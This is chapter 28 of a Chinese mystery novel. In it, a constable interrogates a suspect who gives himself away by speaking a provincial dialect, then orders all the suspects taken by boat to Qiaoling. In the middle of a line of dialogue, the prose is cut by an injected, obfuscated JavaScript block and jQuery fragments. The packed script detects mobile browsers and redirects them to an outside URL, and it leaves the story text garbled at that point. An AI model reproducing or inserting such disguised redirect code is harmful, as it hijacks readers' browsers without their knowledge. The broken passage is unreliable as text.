28.第 28 章

作品:《风过无痕

    张敞额头青筋直跳,张大了嘴,恶狠狠地吐出两个字。


    他说的不是官话。在场没人听懂。


    张父突然暴起,佝偻着身子,往陆冰马头上凑,“是我干的!是我干的!抓我吧!抓我吧!”


    那马受惊,挪动前蹄,狂喷鼻息,幸好两名差役及时过来按住,张父一跤跌倒,额头磕在地上,嘴里吐出白沫,四肢不停抽搐。


    陆冰森然道,“把这三个都带回去,让兄弟们多准备几副刑具。”


    提刑司这间审讯室,叶青岚也算是常来常往了,每回见到那两排刑具都腿脚发软。张敞被绑在架子上,脖子上套了个铁环。陆冰一鞭子抽过去,在他胸膛上留下一道长长的血痕。


    叶青岚脸上也溅了几滴血珠。


    “东家,快说实话吧,能少受些罪。”


    张敞咬紧牙关,“我说的就是实话。我根本不认识陈思贤,也没去过琅嬛阁。陆捕头,你屈打成招,却放任真正的凶手逍遥法外!你这么做对得起社稷,对得起百姓吗?”


    陆冰讶然,“礼部一个小小吏员,境界竟然如此之高,叫我这京城总缉捕自愧不如啊。”


    一扬手,又一鞭兜头而来,这次抬高了一些,张敞大喊,“别打脸!”


    鞭梢在距离鼻尖一寸处收住。


    “想通了?”


    张敞很响地吞了口唾沫,“陆捕头,我知道你一心想破案。但科考那日我身体不适,一直在家歇息,根本没进入贡院,家中老父可以作证。”


    审讯室一侧,张父被捆得像粽子似的,绑在一张椅子上,口中塞了麻布,喉咙里不断地发出嗬嗬声。


    “你父神志不清,如何作证?”


    “大人可以去礼部核查我告假的记录。”


    陆冰不耐烦地挥挥手,“你们礼部办事怠惰,一封公文要流转十日,本捕头等不起。”


    “凭大人的面子,还要等十日么?大人何不去试试,反正我也跑不了。至于这账本,更是欲加之罪何患无辞,大人从头翻到尾,若上面有我张敞的名字,大可将我就地正法。”


    “你倒推得一干二净,难不成是别人合起伙来陷害你?”陆冰转头,“酸枝,你说张敞是琅嬛阁的东家,可有证据?”


    叶青岚道,“张相公昨日闯入店里,自称东家,口口声声要小人送他回家。”


    “绝无可能!他知道我昨日醉酒,记忆模糊,便胡乱攀诬。”


    “焉知不是酒后吐真言。”


    陆冰问,“你所说之事,还有第三人看见吗?”


    叶青岚略一迟疑,“……没有。”


    确实没有。先不说他冒用了酸枝的身份,即便真的酸枝到来,也无法证明张敞就是东家。张敞冲进店里时,那孩子已经昏迷不醒了。


    “来人,去会馆传许观,让他当面认人。把郑录也一起带来。”


    差役领命去了。


    陆冰伏在案上,拉近油灯,一页一页细看那账本。


    叶青岚趁差役不注意,靠近张敞,耳语道,“你若不知那账本上写了什么,怎么敢肯定没有自己的名字?”


    张敞浑身一僵,恶狠狠地剜了他一眼,“张某无权无势,与老父相依为命,你处心积虑诬蔑我,究竟有何图谋?”


    那一眼中有彻骨寒意,叶青岚吓了一跳,默默缩了回去。


    不一会儿,差役带着郑录、许观进来了。


    油灯刚一靠近张敞的脸,许观便大叫,“就是这个人!我亲眼看见他递给陈思贤一大包金子!”


    张敞脸色大变,“我与你素不相识,何故陷害?”


    许观道,“陆捕头,在下绝不会看错的。”


    陆冰脸上泛起胜利的微笑,“这下怎么说?”


    张敞的两条眉毛耷拉得更厉害了,结结巴巴道,“世上……总有长相相似之人。”


    陆冰一拍惊堂木,“一条线索指向你,或许是巧合,几条线索同时指向你,绝不会是巧合!此事的真相,本捕头已经全盘想通了!你身为礼部吏员,利用职务之便开设琅嬛阁,表面高价出卖文房四宝,暗中贩卖考题敛财。陈思贤起初想从你手里买考题,却不知怎的,两边没谈拢,他便威胁要去礼部告发你。科举舞弊是杀头的重罪,你为了稳住他,先给了他一大包黄金,又在贡院借机杀了他灭口。你科考那日告假,正是为了掩人耳目,方便行事。”


    全场一片寂静。叶青岚目瞪口呆地看着陆冰,两个月不见,他竟聪明成这样了?


    郑录踏上一步,“原来思贤是被你害死的。”


    张敞喉头哽住,“冤枉啊!不是我做的!”


    许观质问,“陆捕头的推论合情合理。不是你,还能是谁?”


    “你们说我给了他黄金,那黄金在哪儿?”


    “你杀害了他后,自然就拿回去了!”


    张敞张大了嘴,又吐出那两个字,叶青岚虽听不懂,但可以肯定是句骂人话。


    郑录和许观突然对视一眼,异口同声道,“你才放屁!”


    所有人都愣了。


    张父喉咙里突然发出高亢的呜呜声,连人带椅子翻倒在地。


    陆冰喝道,“怎么回事?!”


    郑录和许观声音发抖,“禀大人,这人会说我们乔陵土话!”


    叶青岚猛地看向张敞。他半张着嘴,双眼发直,完全呆住了。


    陆冰盯了他半晌,突然开怀大笑,“哈哈哈,原来你和陈思贤是同乡啊。”


    张敞猛然惊醒,“不不不,我是京城人士,大人可以去礼部查档案。”


    “好一个京城人士,说的一口乔陵土话!”


    “那是我一时情急,胡乱说的。大人,礼部招吏员要验看户籍,再由保人作保,绝对做不得假。”


    “本捕头只相信自己的耳朵!”


    “人命关天!大人怎可如此草率!”


    “你在教本捕头做事?!”


    情势变得太快,眼看两人你一言我一语争得面红耳赤。


    一个差役急步奔近,凑在陆冰耳边说了句什么。


    陆冰突然从逼近猎物的兴奋中抽离出来,脸现迷茫惊诧之色,只一瞬,又转为怒色,深陷的眼窝中冒出火来,两道刀子般的目光射向叶青岚。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270032|197985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你说你叫酸枝?”


    叶青岚一个激灵,“我……说过吗?”


    陆冰的薄唇抿成一条线,“他们去祥云巷搜查过了,昨日有个小童从琅嬛阁楼梯上跌下来,摔伤了,去附近的医馆求医。你可知他叫什么名字?”


    叶青岚额头冷汗涔涔而下,“酸枝。”


    陆冰横眉立目,手伸向腰间鞭子,“本捕头生平最恨的就是骗子!”


    叶青岚就地一滚,鞭梢擦着他头顶飞过。


    “陆捕头息怒,在下可以解释!”


    第二鞭接踵而至,“说,你到底是什么人?”


    “我身上有提刑司的令牌!陆捕头亲自赏赐的,还说有需要随时可以来找你!”


    “胡说八道!本捕头何时见过你?!”


    叶青岚暗暗叹气。记性不好真要命。


    “小人烂命一条,死不足惜,还是眼前的案子要紧啊!”


    他不说这话还罢了,一说,陆冰更是气不打一处来。“酸枝”是假的。没了他的指认,张敞槐下客的身份就无法坐实。送黄金之事又没有找到实证。难道眼睁睁看着凶手从指缝间溜走吗?他明明都露出狐狸尾巴了!


    叶青岚跪倒,“小人自愿去蹲大牢,明日一早,定将所有实情和盘托出,绝不敢对陆捕头有所隐瞒。不过此案之中,张敞的身份比小人更可疑,若是查实了他假造户籍之事,礼部就欠陆捕头一个人情了。”


    陆冰凝鞭不发,心念微动。刑部以外的所有人他一概瞧不起。若能借揭露张敞之机打一回礼部的脸,不失为一桩美事。


    转念一想,这假冒酸枝的小子,竟敢揣摩他的心思?当真是胆大包天。


    “你也不用蹲大牢了,捆巴捆巴直接扔上船。”


    “上……船?”


    陆冰想起十几日前收到的那封信。正是因为那封信,他才会去调苏文案的卷宗。陈思贤的死状如此诡异,传言甚嚣尘上,嫌疑人一味抵赖,不见棺材不落泪……看如今的情形,这乔陵县是非去不可了。


    “传令下去,给乔陵县县令发一封公函,再找一艘快船,带上十个人的干粮。”


    他扫视惊愕的众人,意气风发,“本捕头主意已定,带所有嫌疑人亲赴乔陵。我要新案旧案一起查!”


    第五日


    运河清波贯通千里,开阔的河面上,一艘单桅快船迎着朝阳,顺风而下,灰色的船帆高高扬起,尖尖的船头划开波浪,赶跑了沉在水里的鱼虾。


    外面日光耀眼,船舱里却光线昏暗。叶青岚和张敞、张父、许观、郑录一起,缩在一间狭小的舱室之中,床铺固然没有,连桌椅都没有,湿木板发出淡淡腥气,一星烛火随着船身摇晃。


    张父咿咿呀呀哼着小曲,张敞耷拉着眉毛,郑录的黑脸几乎隐没在阴影里,许观上上下下打量了他许久,问道,“你是谁?”


    叶青岚懒得回答。他今天心情不佳。


    这运河上的船,他早就坐够了。


    文承初年,他搭商船北上,付了二两银子当船资。船行十数日,每过子时,船老大和其他乘客都会忘记他,要他再付一遍银子。